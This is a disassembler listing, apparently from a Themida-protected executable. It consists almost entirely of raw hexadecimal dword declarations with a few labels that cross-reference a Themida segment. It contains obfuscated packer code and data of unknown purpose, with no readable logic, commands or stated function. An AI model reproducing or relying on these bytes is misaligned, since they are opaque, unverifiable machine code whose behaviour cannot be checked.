		dd 0ACC41554h, 0C4DF175Ah, 8DEF960Ah, 173C67D6h, 0E9A484CBh
		dd 6C8F569Dh, 9244218h,	0E75AE930h, 8420D33h, 0D139FBAFh
		dd 0CA92B1Ah, 80C60000h, 43924D2Dh, 125F1AFAh, 0E132EDCDh
		dd 0AF01BC9Ch, 0E3E18C6Ch, 0E2C20557h, 0B393DC27h, 8161A8F8h
		dd 53337AC6h, 0FCCEE9CFh, 6FE71E6Dh, 35814E42h,	0C1E123CCh
		dd 9893E272h, 23E34D7Dh, 0DDF81EE1h, 7E992F47h,	0B8B086FFh
		dd 0AE0934F0h, 4B66845Ah, 0E7613BF2h, 0F6355379h, 64563AAh
		dd 8EA86FB6h, 62AE6963h, 0DD31541Bh, 0DCEE907h,	5EE16712h
		dd 70EB6D38h, 0BD743FC6h, 0C2ACEh, 0AE014700h, 7BC413CEh
		dd 4E93E09Bh, 1D62B36Eh, 0ED30823Dh, 0D862620Dh, 0A8634386h
		dd 7934145Dh, 4702E229h, 50D4B4FBh, 6E7B4F6Ah, 0BBE8E71Eh
		dd 0BC0B4AC7h, 0D7234873h, 90DCC990h, 0F9D38249h, 88979ADBh
		dd 4EE93628h, 0B7000007h, 0DFFDD327h, 0CC58728Dh, 0E50BE123h
		dd 0F96782BAh, 0DE76168h, 166783CEh, 0B8F00AD1h, 0D1ACD7F1h
		dd 24E8DABh, 0D420DBBBh, 21D6F8Dh, 0E71E57C8h, 0E57A29Bh
		dd 0CACAABD6h, 58EB2978h, 0CBE2EF12h, 1E29E6E4h, 545F85E7h
		dd 0E1FBC207h, 29E9B5B6h, 7ED2E71Eh, 0AA6F8AA8h, 0B9E1673Fh
		dd 5D5EC893h, 60173FC6h, 0B7671h, 0FA4D9300h, 0C7105F1Ah
		dd 9ADF2CE7h, 69AEFFBAh, 397CCE89h, 24D6AE59h, 0F4AF8FD2h
		dd 0C58060A9h, 934E2E75h, 9C200047h, 6EAF9BB6h,	0F3CE71Eh
		dd 0DDF84A1Bh, 0E123CCEDh, 82D587Eh, 185775BCh,	9FB980C9h
		dd 5AA69374h, 0E1A8F140h, 19C88FC7h, 63B2213Fh,	3B776A82h
		dd 8C96C10Bh, 362950A5h, 65C08EDDh, 0BEB122B9h,	6775993h
		dd 81270000h, 0E123CC35h, 393772C1h, 0CA1F12D0h, 1AF0449Fh
		dd 0D0B3E1FCh, 8AB0E761h, 90DB1A6Ch, 3B668047h,	829DCA16h
		dd 0E71EEF48h, 0CB6B52C1h, 23E4E608h, 2AE5C5FDh, 0ADD097DEh
		dd 16658359h, 2892B90h,	7BB3DECBh, 67569B60h, 0CA196BE1h
		dd 2FD64B6Dh, 3E0CF36Fh, 63E129E4h, 0F00AD116h,	3DE092Fh
		dd 9D1A12DDh, 2CE33FC6h, 0A9A3Dh, 1E71B700h, 0EB34833Eh
		dd 0BE03500Bh, 8DD223DEh, 5DA0F2ADh, 48F2D27Dh,	18D3B3F6h
		dd 0E9A484CDh, 0B7725299h, 0C044246Bh, 6F8BBFDAh, 2B58E71Eh
		dd 0CA115D37h, 0B0CA1603h, 3D571E63h, 0CCC6041Fh, 7FA5E123h
		dd 42938047h, 4014471Ah, 43C85A0h, 0E501503Dh, 718B5299h
		dd 0E8C47239h, 9A7441CAh, 0CFF63B7Ch, 9E8A3628h, 3C000005h
		dd 742985EDh, 0B3DEF81Eh, 17D32797h, 23CCCEFCh,	3F779DE1h
		dd 68AB0621h, 0B7B0E761h, 3E581F68h, 5DA9E806h,	6AB9F816h
		dd 15405A21h, 0CD14601Bh, 0F72470AFh, 1E57EEDCh, 1F577DE7h
		dd 57E4E601h, 6187E71Eh, 16555536h, 565782CBh, 0E71E5708h
		dd 2B491F73h, 0CCB95FDCh, 38670292h, 0C989A4B8h, 0B892AD44h
		dd 2BE71EB2h, 6AA2CD05h, 67A48A4Fh, 0E8B3D9E1h,	3FC6C18Ah
		dd 0B05D4C03h, 0CD000009h, 99543487h, 6621014Ah, 39F4D419h
		dd 8C3A3E8h, 0E89373B6h, 0C90C5E18h, 9AE32EE9h,	68AFFFBAh
		dd 3A81CD88h, 0D5F0D65Ah, 0E71E68F5h, 5D554976h, 81C9E411h
		dd 62E123CCh, 503D043Ch, 9F6BD04h, 5A708BBAh, 9E123CCh
		dd 0F7E4ABE3h, 66647FAAh, 5E123CCh, 26E0A7DFh, 0EEBB4462h
		dd 7CB5F614h, 4362888h,	4B5h, 0CC4881D2h, 7FBEE123h, 822E92Eh
		dd 582E82DDh, 68671F3Ah, 466CE761h, 6984D628h, 0E71E5761h
		dd 8CB1DC02h, 5E19F940h, 6EADCB12h, 0CEAFDA23h,	5EAE57ABh
		dd 0A6C1DF17h, 0E1677F81h, 1F69345Ah, 0D83FC631h, 8FD3221h
		dd 0D41A0000h, 97E6A181h, 66B36E4Eh, 35864121h,	35510F0h
		dd 4F35E0C0h, 361659ABh, 7E7307Bh, 0D5B5FC4Ch, 0A787CE1Ah
		dd 28223D23h, 0BBE71E69h, 115D9A8Eh, 0CA1603CAh, 251BBC83h
		dd 185FAB07h, 8C999838h, 61E73628h, 0B5000001h,	3CA115Dh
		dd 0A383CA16h, 6A885EB2h, 5AE55E4Fh, 28EF15E7h,	9183D928h
		dd 2DF4398Ah, 0E9D8F813h, 2E7879A4h, 0A3E71496h, 3C0E297Bh
		dd 0AFE71496h, 22405E89h, 5FE250E1h, 4E303Ch, 27FE0000h
		dd 0B1DE2AD3h, 23CCB496h, 0D91137E1h, 0F23183A1h, 7E985FA6h
		dd 0EC255253h, 284EE75Ah, 5055BB0Ah, 73C0ABC4h,	0D09E6748h
		dd 0F1E714CFh, 0D659799Fh, 0AEE75640h, 72C2AF76h, 216F642Bh
		dd 39477A03h, 2A57DA1Bh, 0C0293C60h, 0F7000000h, 0BDE7115Dh
		dd 299C4498h, 54410840h, 0BF8BF02h, 0C4B178BFh,	0BA513178h
		dd 0E1231E95h, 398BB804h, 230E2C1Eh, 0B299BFE1h, 0E1230E98h
		dd 0CFED254Bh, 32F94090h, 2F3ED18h, 68BAD8AEh, 230E7D4Dh
		dd 9DC8EEE1h, 0B9F54A65h, 0C8EEE75Dh, 0D6196BAAh, 49A169B8h
		dd 0ED51C68h, 5412D9F4h, 0FBC9C3EEh, 60276ABCh,	14DB2473h
		dd 7297C2FAh, 0FC12DD20h, 8539F5DDh, 7ADDFCEh, 84CA0000h
		dd 47965131h, 16631EFEh, 0E536F1D1h, 0B305C0A0h, 1FE59070h
		dd 0E6C6095Bh, 0B797E02Bh, 8565ACFCh, 57377ECAh, 0F8D2EDD3h
		dd 6BE71E6Ah, 0B5D4A3Eh, 1F6BAAC8h, 0F8B3ADD8h,	0B78565ACh
		dd 1EE52C78h, 5DBDD904h, 6DACCA11h, 0F913DA21h,	0B400EDCEh
		dd 0C2D08D6Dh, 78000002h, 0DFFDD327h, 0CC58728Dh, 75C1E123h
		dd 28746D2Eh, 0C8001AE1h, 354A659Dh, 51E75AFAh,	58AAC012h
		dd 0FC16DD15h, 9D0F6D1h, 14E27640h, 4436BE7h, 8BA56CB5h
		dd 0C3EE3380h, 0EB4687A5h, 953C5FBAh, 244h, 0CC4A8163h
		dd 4599E123h, 0C0FF516Fh, 0FDFE2970h, 0E761689Fh, 4988A6CCh
		dd 5097E3FDh, 8DA8FA18h, 0E71E57BDh, 0E3DD082Eh, 0CE95DC28h
		dd 638157ABh, 677F2748h, 72C3BCE1h, 144C662Dh, 0C6310B49h
		dd 1E0DC43Fh, 6C7h, 6B4B9EE4h, 381861B0h, 0BEB307Dh, 0DABAFF50h
		dd 0AA8ACD1Fh, 237501FFh, 0FA4500E0h, 0C616D1B1h, 98E49F7Fh
		dd 7ED7151h, 1E6BDEECh,	6C608DE7h, 0A7F7115Dh, 477F9960h
		dd 1A479380h, 23CCCBFFh, 3A7298E1h, 458EDD1Ch, 0CC3E0C27h
		dd 87ADE123h, 0E4DA7B5Ch, 0D71E6AC6h, 62C16AB9h, 0AD1677BAh
		dd 2361B892h, 0CD052BE1h, 8BDAA8A2h, 342C795Dh,	0A3A7C205h
		dd 40E1230Ah, 0ADB7E21Ah, 36295284h, 177FCh, 0F84ACA00h
		dd 23CCEDDDh, 57727EE1h, 0E123CC73h, 6792CAF0h,	0E8AFF642h
		dd 8868AFFBh, 4F6D4397h, 6D78C110h, 75ADD81Bh, 5AE5555Ah
		dd 0C9150EE7h, 0BA834A82h, 0E714D5ECh, 4AB9D7E5h, 4D78BF0Bh
		dd 5FA1EE43h, 3C923Ch, 27600000h, 0A0DFFDD3h, 5A470E53h
		dd 0E3FDC409h, 2D4880ABh, 0E75AEC40h, 46C0BF0Eh, 0E1953839h
		dd 41F9EC5h, 406B0FB3h,	0AF783F65h, 0E71474E7h,	6DAECCDAh
		dd 3C6044C4h, 0DEBCh, 115D8A00h, 0C41603CAh, 68BABA81h
		dd 23CC7D4Dh, 9DC8EEE1h, 0E4FF2C78h, 0E123CCE6h, 6C5E7985h
		dd 0FFE123CCh, 0A269A1D9h, 213C69B5h, 0E123CC29h, 0CC08425Dh
		dd 0B5DBE123h, 0B696CEF4h, 1358A9E8h, 607324Ch,	0E1241ED1h
		dd 8FADF440h, 8EB90050h, 3687C694h, 9609A50Eh, 840137Ch
		dd 0A1FC2741h, 759774Dh, 63178C8h, 5DA83005h, 0E7052BE7h
		dd 122D56A8h, 0E71AB138h, 1B62B2ABh, 0CA023A54h, 0F11C6DACh
		dd 1AB1F4D6h, 195177E7h, 130D3852h, 0F8C30658h,	39F5CFB2h
		dd 2095843Bh, 3D000005h, 9C4A4F7h, 0D69171BAh, 0A9644489h
		dd 78331358h, 5803E326h, 397CCE68h, 0A539E59h, 0D81F6F2Ah
		dd 0AAF13DF8h, 456046CAh, 0E71E6505h, 5DC5B9E6h, 1AE8C80Bh
		dd 7D448BDBh, 0C7133863h, 5DEEA080h, 1603CA11h,	0E6A383CAh
		dd 41h,	9EE13372h, 7692BDD7h, 92E4115Dh, 23CC5377h, 3EA10E1h
		dd 0E123CCC7h, 155AABA4h, 0C4FC344Eh, 7DC410FDh, 0C01208B6h
		dd 23CCA5A5h, 0F52046E1h, 115DB9D7h, 9A61A6F7h,	0AB684880h
		dd 17h,	0CA115D53h, 78C40303h, 0B8050631h, 86E123CCh, 854B0CEh
		dd 5D2FE1C1h, 303CA11h,	0CCB496B1h, 1137E123h, 61378BE6h
		dd 68062843h, 0B7DDE761h, 0C70E5A99h, 99E02CE7h, 6580D2D2h
		dd 0E71E5065h, 5AB5E006h, 0F7123006h, 0E15CF456h, 0DF2471B0h
		dd 0F8D3FE18h, 2975B4D2h, 0FB4702E2h, 0CB97B3CEh, 2E54E123h
		dd 548CD323h, 40166A8Dh, 0E3320722h, 0B31E75Ah,	0FBA2EC40h
		dd 0CFBE7539h, 413h, 0B797EA30h, 8464ADFCh, 57377CC9h
		dd 26064B9Ch, 0F6D6196Bh, 6FC1754Bh, 46914C2Ch,	12621DFDh
		dd 0E430EBCBh, 5339BD9Dh, 1E661238h, 0B0A4D1E7h, 0EACA115Dh
		dd 0D59CE32Fh, 8E559CE8h, 4C8BDDEDh, 0F7D3BAFFh, 1AE123CCh
		dd 0B86F4B76h, 4D733472h, 8AE60422h, 8DD4243Eh,	5CD57555h
		dd 243628C0h, 3Bh, 0FDD327F2h, 0A4FA0DFh, 998CA7DFh, 52E75B1Ah
		dd 7FCF0E2Ch, 8BDB1A38h, 0A3DB2071h, 89C1DCDCh,	5AE71482h
		dd 0D7D1FC34h, 14827440h, 24995E7h, 0D0176722h,	3751A09h
		dd 5DC20000h, 1603CA11h, 0CE87A0CAh, 6A26927Ch,	0D615232h
		dd 0E9FE1937h, 82E75A01h, 5695955Ch, 0E2FCC30Ah, 164186D7h
		dd 14314915h, 143240E7h, 0D11466A5h, 85959CA6h,	20EB3C60h
		dd 0B9000000h, 0DFFDD327h, 5AECDBC4h, 13DA00E7h, 14D37C4Ah
		dd 496775E7h, 5FAC2908h, 0B7573Ch, 5D250000h, 1603CA11h
		dd 0CDBA81C4h, 86733A81h, 4513F33Ah, 0CCF2D8F3h, 4B71E123h
		dd 0D05E1F20h, 0FF4BE123h, 0A5B9AB8h, 0E5A09AC5h, 688B5299h
		dd 0D41B6B14h, 66637E9Ch, 5E75AF5h, 0BA0EFFDFh,	3A77C6E4h
		dd 58A3DF82h, 0FB164E79h, 0E16A9520h, 95E7052Bh, 94BF0656h
		dd 0B7071D6Fh, 0D109529Dh, 0ACFEB999h, 0E8309E69h, 52093FC2h
		dd 2AA63h, 2E81C700h, 0FB44934Eh, 0CE13601Bh, 9DE233EEh
		dd 6DB002BDh, 58E2E28Dh, 28E3C306h, 0F9B494DDh,	0C78262A9h
		dd 0D054347Bh, 67FBCFEAh, 3B68E71Eh, 0E20B5D47h, 23CC83C7h
		dd 1F3A60E1h, 78D57CDCh, 0AC8CC42Bh, 7E5EA5F1h,	0FDD327CCh
		dd 950A0DFh, 0EF0A2842h, 0E123CCDBh, 0FF376288h, 5AECBBE4h
		dd 0C3483E7h, 9858EDECh, 0E80EE914h, 97E22121h,	426D874Eh
		dd 14F77541h, 405E6CE7h, 5FC832FFh, 0B44E3Ch, 5D1C0000h
		dd 1603CA11h, 0F1BA81C4h, 0E123D0ACh, 0AEA317Dh, 68D9034Fh
		dd 7181D11Dh, 2DF43D88h, 85A3DB13h, 8CDDF546h, 0D6F10F47h
		dd 0E1235EF4h, 45265177h, 6EB70645h, 35828DA7h,	166AC5F0h
		dd 0C2072240h, 0A1E75A64h, 56AA9B7Bh, 13476280h, 0D0E16AC2h
		dd 0FB3A8CAAh, 859F66A9h, 0A0E3355Ah, 70B305C0h, 0C2A407A5h
		dd 2A19D03Fh, 1B7h, 5B3B8ED4h, 280851A0h, 0FBDB206Dh, 0CAAAEF40h
		dd 9A7ABD0Fh, 136511EFh, 0EA35F0D0h, 0B606C1A1h, 88D48F6Fh
		dd 0F7DD6141h, 1E60EEDCh, 5C507DE7h, 0C7E20B5Dh, 0E123CC83h
		dd 0E4023A60h
		dd 0E51053A5h, 9DE430EBh, 0F84A0BBDh, 23CCEDDDh, 4D587EE1h
		dd 6A8FBA01h, 2310D71Eh, 0F5B090D7h, 789B62A9h,	0E7307B24h
		dd 2D7691AFh, 3EE75AE6h, 13645118h, 0CA1A07CEh,	7DCFBC83h
		dd 67857B3Ah, 264404DEh, 57377ECAh, 0BBA93A89h,	71449852h
		dd 2005B90Ch, 99C4FC63h, 0F614EA3Eh, 6DC0E6DBh,	985F85E1h
		dd 78355FABh, 49C2A117h, 95F564BBh, 2C647798h, 1F87D6F4h
		dd 43DCE2D5h, 7E2C0D38h, 9EF284A2h, 0B28FAAC8h,	31E75AE4h
		dd 0B2C2EC38h, 2FB06B40h, 132DF42Ch, 5C6EBDDBh,	0E512DEBh
		dd 0AB66608Bh, 6451185Fh, 1906CD14h, 0D2BF86CDh, 0BA743B82h
		dd 754FD8F6h, 0EF3B97B5h, 83D7C8A8h, 2F748FADh,	3CE16D2Bh
		dd 30A9F816h, 9FABC6DAh, 4CE12345h, 0D3220B26h,	1EECFFAh
		dd 0BAA76EB5h, 6F5C236Ah, 85D2DD22h, 0FDBD7940h, 0ACC673DFh
		dd 2D7DAFB3h, 3D5B1BF5h, 638157ABh, 5A097B48h, 624268E7h
		dd 29471D71h, 569E100Eh, 0EEB5DBE1h, 8E6EB501h,	794087D3h
		dd 0A3EA3A79h, 9697C2DCh, 4DA8B445h, 1766A59Bh,	0C2ED07CEh
		dd 0D81786A4h, 0F419448Dh, 0B38161A8h, 0C6E12874h, 885016EFh
		dd 143964DBh, 246381C8h, 0B1CB92D7h, 67B8A586h,	1C6E5B22h
		dd 0DA2512D9h, 0F32B72BEh, 0CB4F2F2Ch, 87A06BC2h, 44CDEBAFh
		dd 308CAA6Ah, 2BD9DE4h,	0B9A86FB6h, 3, 5D362861h, 10FDC417h
		dd 0C9B67DC4h, 7E6B3279h, 3623EA33h, 0EDDAA1E4h, 0A491589Bh
		dd 5A470E53h, 1401C80Dh, 0C3B57CC5h, 3B4168h, 241C8900h
		dd 5DD368h, 241C8900h, 4CA668h,	24148900h, 0E1685655h
		dd 5E5B6B78h, 877C681h,	0EE817938h, 0D47E1085h,	0BB5EF589h
		dd 618EC1Ch, 545DEB31h,	8324148Bh, 576804C4h, 89000075h
		dd 428F241Ch, 2434FF08h, 4C4835Ah, 51241C8Bh, 0C181E189h
		dd 4, 8704C183h, 0E95C240Ch, 0FFF9CF8Eh, 3D0CAD91h, 7CB7A0ADh
		dd 0B8B01C43h, 63DAE65h, 0E0FFC503h, 655D7F29h,	729CDBCFh
		dd 2EBC4305h, 0A17A189h, 53516652h, 7B13BD52h, 5BBD628Dh
		dd 34524282h, 3E9F84FBh, 6757175Dh, 2EBA8FBFh, 16ABF9EFh
		dd 2882A90Fh, 0AA42325h, 33CD0D85h, 3C48F058h, 457FF2B3h
		dd 5DF95E7h, 7CCD8A04h,	26A1C702h, 28BEC13Eh, 1499CFFCh
		dd 2DC266CBh, 7981CA70h, 0B7F9910h, 455B4128h, 2D149223h
		dd 1D8D5D9Fh
dword_5A7BA0	dd 0B0398D8Dh, 6A063Dh,	3E850h,	58200000h, 448958C3h, 44810424h
					; DATA XREF: Themida_:0053F75Co
		dd 1A0424h, 50400000h, 122D19C3h, 176B94A6h, 18758D89h
		dd 6A0637h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0C684A1C3h, 119585C7h, 65FC0637h,	95890000h
		dd 63706D5h, 0F8185C7h,	637h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0BD01B7C3h
		dd 63725D5h, 0D853151h,	5A06372Bh, 139DB5FFh, 6A0637h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 50BC0EC3h, 0FFD48AEFh, 37129195h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 428B7524h
		dd 92DA8166h, 0FF006AB8h, 37321995h, 0EBC08B06h, 23DC6A0Fh
		dd 0CBA9C0B3h, 0D20702AFh, 0A1418EDEh, 22B985C6h, 68560637h
		dd 0A9C530DFh, 2339B5FFh, 858D0637h, 63A720Ah, 8D8DD0FFh
		dd 63731BDh, 0FF406A51h, 372B55B5h, 85B5FF06h, 0FF06371Eh
		dd 55B5FFD0h, 0FF06372Bh, 371E85B5h, 0FE806h, 7E6D0000h
		dd 0DE80A3ADh, 77A06DECh, 6CD47814h, 835B5B51h,	2CC104EBh
		dd 24C10224h, 1C030224h, 241CF724h, 68h, 34FF5800h, 0F1815918h
		dd 12FE5FAh, 4BACE981h,	0E98166F4h, 728FDB66h, 83030C89h
		dd 3B4803E8h, 850F2404h, 0FFFFFFDAh, 10719D8Dh,	38B0637h
		dd 840FC00Bh, 7, 5B8B038Bh, 8B188904h, 6E8C9h, 35EE0000h
		dd 8D4C24B4h, 0AE95Fh, 678C0000h, 0D266A126h, 8F7DB727h
		dd 600DC781h, 0F62B0000h, 82DB8166h, 370C8B3Ch,	10E9h
		dd 62D5DE00h, 722432FFh, 0C803AFF2h, 0E10DE2BAh, 51C18164h
		dd 66511F70h, 0F181D88Bh, 63074DC1h, 44A9C3BAh,	0D3E98112h
		dd 5629CA0Fh, 69C949BBh, 0C895B35h, 12B86637h, 8105B693h
		dd 0E035B5EEh, 0D1B70F62h, 35B1C681h, 0CE8062E0h, 0A8FE81D1h
		dd 0FFFFFA0h, 1885h, 0CDE7BA00h, 2CE966AAh, 73000000h
		dd 29A52139h, 9B4C6A95h, 0EE580AD2h, 102EBBFEh,	7EE977A5h
		dd 0E7FFFFFFh, 3D706EF0h, 5D372EA9h, 0F87DB603h, 2E9A4179h
		dd 0E8CBAA62h, 13h, 0AEC94166h,	0BCBFB4C6h, 6E3DFF93h
		dd 0A4A0849Bh, 66B412DBh, 586BC4B9h, 0C0819CB1h, 613Dh
		dd 0BE860h, 58E40000h, 6058AF8h, 0D98C175Bh, 0CE81668Ah
		dd 665A6FDFh, 61C06EBFh, 68h, 0CB8B6600h, 10E85Eh
		db 2 dup(0)
word_5A7E52	dw 5E6Ch		; DATA XREF: Themida_:0053E804o
		dd 665FE892h, 6A0BCCB0h, 0C8805DE2h, 0B70F6EB1h, 3C8B5BC8h
		dd 0C1816630h, 0F781E660h, 0FC31586h, 0F78180B6h, 34A4575Ch
		dd 33CEEA81h, 0F78145C2h, 5B5400CDh, 2810Fh, 0D88A0000h
		dd 0CFB70F57h, 0F30048Fh, 188h,	8B66F500h, 0BFEE81C8h
		dd 815270DCh, 1343D7D1h, 0BBC68139h, 805270DCh,	0FE81B6C5h
		dd 0FFFF9F7Ch, 0FFA4850Fh, 8B66FFFFh, 8EBD0h, 0D2000000h
		dd 0E965B5C9h, 4EAh, 3DB39D68h,	0CBCCE906h, 1668FFF9h
		dd 0E9063DB4h, 0FFF9CBC2h, 3DB58668h, 0CBB8E906h, 74BAFFF9h
		dd 37864121h, 6530EEEh,	0D526E1C1h, 0A3F5B090h,	0EFD58060h
		dd 0D6B6F94Bh, 0A787D01Bh, 75559CECh, 47276EBAh, 88C2DDC3h
		dd 5BE71E7Eh, 93DF1E2Eh, 0ACEF414Ch, 84A0CBE5h,	1C80B5Dh
		dd 0A181C814h, 68865CB0h, 5AF2F44Dh, 8A5177E7h,	2D1D388Ah
		dd 0BEE714E9h, 0E9B397B2h, 0A30E714h, 0D8A6A7D2h, 0D1E714E9h
		dd 0F736A5C3h, 0B09D64ABh, 3B551C65h, 63CED803h, 1F3C5FB1h
		dd 333BDED0h, 131E68DEh, 9DB77EC1h, 3003872h, 9A060000h
		dd 12E83C55h, 0EF44D9F4h, 0F91FE75Ah, 5974C69Eh, 0E714EE71h
		dd 0EE507A95h, 0ED13E714h, 0DADB062Ch, 0D8BE1105h, 96B48ADEh
		dd 8AC8A7Bh, 1732841Ch,	1C469333h, 4189A4B0h, 221C4693h
		dd 0BE99C4FCh, 93B397B2h, 97E61C46h, 2F678D4Eh,	1BF14568h
		dd 59F8E2FDh, 456B1A3Eh, 559CE827h, 276EBA75h, 9EC93C5Ch
		dd 1F0EC5C4h, 32Ah, 47277AC0h, 14F43D8Ch, 0E7C70C59h, 0B696DB2Ch
		dd 8666A9FBh, 0FF51E5DBh, 0D621DCBCh, 0A2F2AD8Dh, 74C07B5Bh
		dd 0E3C94D2Dh, 1E7F82C8h, 403461E7h, 0DFFDD327h, 617F72C4h
		dd 254369E7h, 715194E6h, 0CE9554A3h, 6F63B386h,	8ACD1F44h
		dd 0B3DD2D6Ch, 0C9E25237h, 0C2ED255Ah, 464918E1h, 450E71Eh
		dd 8F569FEAh, 0BDEF5A75h, 4843858h, 0EB8101CCh,	0A35AC60Eh
		dd 2B1B4h, 0AE014700h, 7BC413CEh, 4E93E09Bh, 1D62B36Eh
		dd 0ED30823Dh, 0D862620Dh, 0A8634386h, 7934145Dh, 4702E229h
		dd 50D4B4FBh, 787B4F6Ah, 0BBE8E71Eh, 0FDD327C7h, 7F72C4DFh
		dd 4369E761h, 7EEBB37Ch, 0B706E71Eh, 6FBAA76Eh,	0E3A35F26h
		dd 1E2659C5h, 34B0581Fh, 52A1C9FCh, 0D71C398h, 9EBCE7B5h
		dd 98F23F80h, 0AF8E3C65h, 40000001h, 3E69B201h,	0BB0B4A22h
		dd 0C227CB91h, 0E018AAFCh, 0FD4490B5h, 0B6FD4936h, 0BB91E5D6h
		dd 0CA135E9Dh, 5B4C679Fh, 10E75ACBh, 0C5A23EAh,	0ADE714FBh
		dd 65521962h, 170CD318h, 0EF22ABC9h, 0AF82C3E1h, 0D13C5FBFh
		dd 36h,	0B1F84483h, 0D3276A86h,	53A0DFFDh, 22D470Eh, 0ECC6AFCAh
		dd 0C7EDE75Ah, 0D36F3700h, 3A62E714h, 0D3FDCDE8h, 486EE714h
		dd 0A0E1FF1Dh, 3C5FAB91h, 0D2EFh, 0B4ABD00h, 94AE75BAh
		dd 0B1F84469h, 68ABFDEAh, 2168B4A1h, 7216D5Ah, 57376FB8h
		dd 0D3FF4A89h, 0ED2FC7CAh, 8CF07A5h, 0D2C2C3EEh, 0C7E123B9h
		dd 6354347Bh, 0C91B390Fh, 0CCF73E8Ah, 5D170ACBh, 97B204E7h
		dd 0E71A0EB3h, 1DEF0A30h, 652DF459h, 85AB86B1h,	41C61567h
		dd 0C82BA98h, 3FD1AD7Bh, 7FC25F24h, 94BFE764h, 76A1A6DDh
		dd 0DCBCFF51h, 0A9A1BC0Eh, 3AE71AE8h, 72C4E914h, 8828642Fh
		dd 2AE139F5h, 1413Bh, 3E91D700h, 0B54A35Eh, 0DE23702Bh
		dd 0ADF243FEh, 7DC012CDh, 6812F29Dh, 38F3D316h,	9C4A4EDh
		dd 0D79272B9h, 0E064448Bh, 79EBDFFAh, 4B78E71Eh, 0C80B5D57h
		dd 85135BAAh, 1C3C4006h, 33E7E3FEh, 5E84E123h, 327E3933h
		dd 4A590BEBh, 4D78BF0Bh, 7795DC28h, 76A1E838h, 155CA895h
		dd 1AF04435h, 1ACEE1FCh, 948E75Bh, 172A91B7h, 0AA4D223h
		dd 0C0CCA7D2h, 1493A5A5h, 0FCCEE9E7h, 6FE71493h, 2A628849h
		dd 927DBD0Ch, 48C694ACh, 54A6E51Dh, 0CC9A3111h,	0EDE71449h
		dd 0BF7A5AA1h, 0C50A576Dh, 0E5ACE4FEh, 99F6h, 0D3279E00h
		dd 0CCCEFC17h, 779DE123h, 80CF213Fh, 69B97BF0h,	26415B22h
		dd 0F904E5D8h, 3A3B66ADh, 0E76117E8h, 210ED5FBh, 0F3AE8ED5h
		dd 6B5F7AA7h, 0F8E71E16h, 0AD39AD2h, 42919136h,	0FADD2C22h
		dd 8E677339h, 8EBCD7F5h, 5D849685h, 0D0EE0C37h,	1E12874h
		dd 0ECB3FA46h, 5D7A9DECh, 11631873h, 99B37AC1h,	0C0113661h
		dd 0DA1257A8h, 79975713h, 52A4D11Dh, 96EA1337h,	0C3AAD084h
		dd 8496EA87h, 0E2333E64h, 84BCD69Dh, 569DE9A4h,	62A9F938h
		dd 3675637h, 0F000000h,	175D3628h, 0C410FDC4h, 79C9B67Dh
		dd 337E6B32h, 0E43623EAh, 9BEDDAA1h, 53A49158h,	0D5A470Eh
		dd 0C51401C8h, 68C3B57Ch, 197Bh, 57243C89h, 0C781E789h
		dd 4, 4EF81h, 3C870000h, 2C895C24h, 0E7895724h,	4C781h
		dd 0EF830000h, 243C8704h, 2404895Ch, 3DB2A368h,	1B685D06h
		dd 89000053h, 4832424h,	52580424h, 8BAh, 53C20100h, 1A89EB89h
		dd 48B5A5Bh, 0E2895224h, 4C281h, 0C2810000h, 4,	5C241487h
		dd 5D2434FFh, 0E904C483h, 0FFF9C6FAh, 0F39C3355h, 689B1260h
		dd 6CCBF8FFh, 0ECB86CFEh, 3063DB6h, 0A5E0FFC5h,	0D100F041h
		dd 163B87D9h, 41728D1Ah, 990D87FAh, 5C391BC5h, 0CE394838h
		dd 8F1B4203h, 3B67046Ch, 527563BDh, 0BC1FDC58h,	34168B53h
		dd 8D2ACCD9h, 3DB8898Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 8D896ECCh, 6371875h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0A6C35242h, 0AAF08318h
		dd 7EEED8B1h, 1B45BD8Bh, 85C70637h, 6371195h, 6CCCh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 20C35141h, 3AA1322Ah
		dd 5F34E7A3h, 0F8185C7h, 637h, 8D0F0000h, 6, 31D99D89h
		dd 9D890637h, 6371BB5h,	1BA5B5FFh, 0D5B60637h, 129195FFh
		dd 6A0637h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 1045ECC3h, 0E9603897h, 5,	0CCD0BAA6h, 0F1B70FABh
		dd 0FF006A61h, 37321995h, 0EBC08B06h, 93348B29h, 7DF66AD7h
		dd 0D07D9EB8h, 36B86509h, 0F09C4245h, 0C028F70Dh, 5E2A34D4h
		dd 0E23F9840h, 180A92A0h, 34A819D7h, 5E8AA5Eh, 5000000h
		dd 0C105D764h, 7325BF66h, 81BD8B5Ah, 81063708h,	6306C2h
		dd 41B86600h, 18A1B9B2h, 0AE90000h, 0E8000000h,	975DA3B8h
		dd 0B6F9F49Fh, 6632FFDBh, 295EF98Bh, 3732BD9Dh,	0ABF68106h
		dd 2B3F8F78h, 371FDD9Dh, 0AEEE8106h, 800A81F4h,	0C68104F3h
		dd 1562D350h, 29BD9D8Bh, 53560637h, 4459D0Bh, 8F5F0637h
		dd 83DE8B02h, 9D8B02EAh, 63720CDh, 85894A4Ah, 63701D1h
		dd 0AE850F49h, 3FFFFFFh, 372BB5BDh, 5E806h, 9C450000h
		dd 0F6D2A5Dh, 108Bh, 0A840F00h,	0E9000000h, 5, 9CDBBEDAh
		dd 958B581Bh, 6372F2Dh,	5F2EC081h, 8D8B0000h, 6372381h
		dd 68h,	5FCF8B00h, 14E9h, 7CAB5400h, 0AB05A1F7h, 0EE628A6Fh
		dd 0F23E2000h, 0C17DE923h, 38348B47h, 0BE8h, 589A6300h
		dd 1337B4DEh, 9A4CBBBAh, 815B4AB5h, 319C16F6h, 0FBF6813Dh
		dd 8916C240h, 372E6DB5h, 81F68106h, 0E87A0DCBh,	8, 0B32B27C6h
		dd 0DEB536E8h, 5659DA8Bh, 6638048Fh, 840FD38Bh,	18h, 13E9h
		dd 0FBB2DE00h, 63D86C2Dh, 9286BCA4h, 1BEBE2A0h,	0FD050B7Dh
		dd 0DAFFEF81h, 81F93A03h, 3DAFBC7h
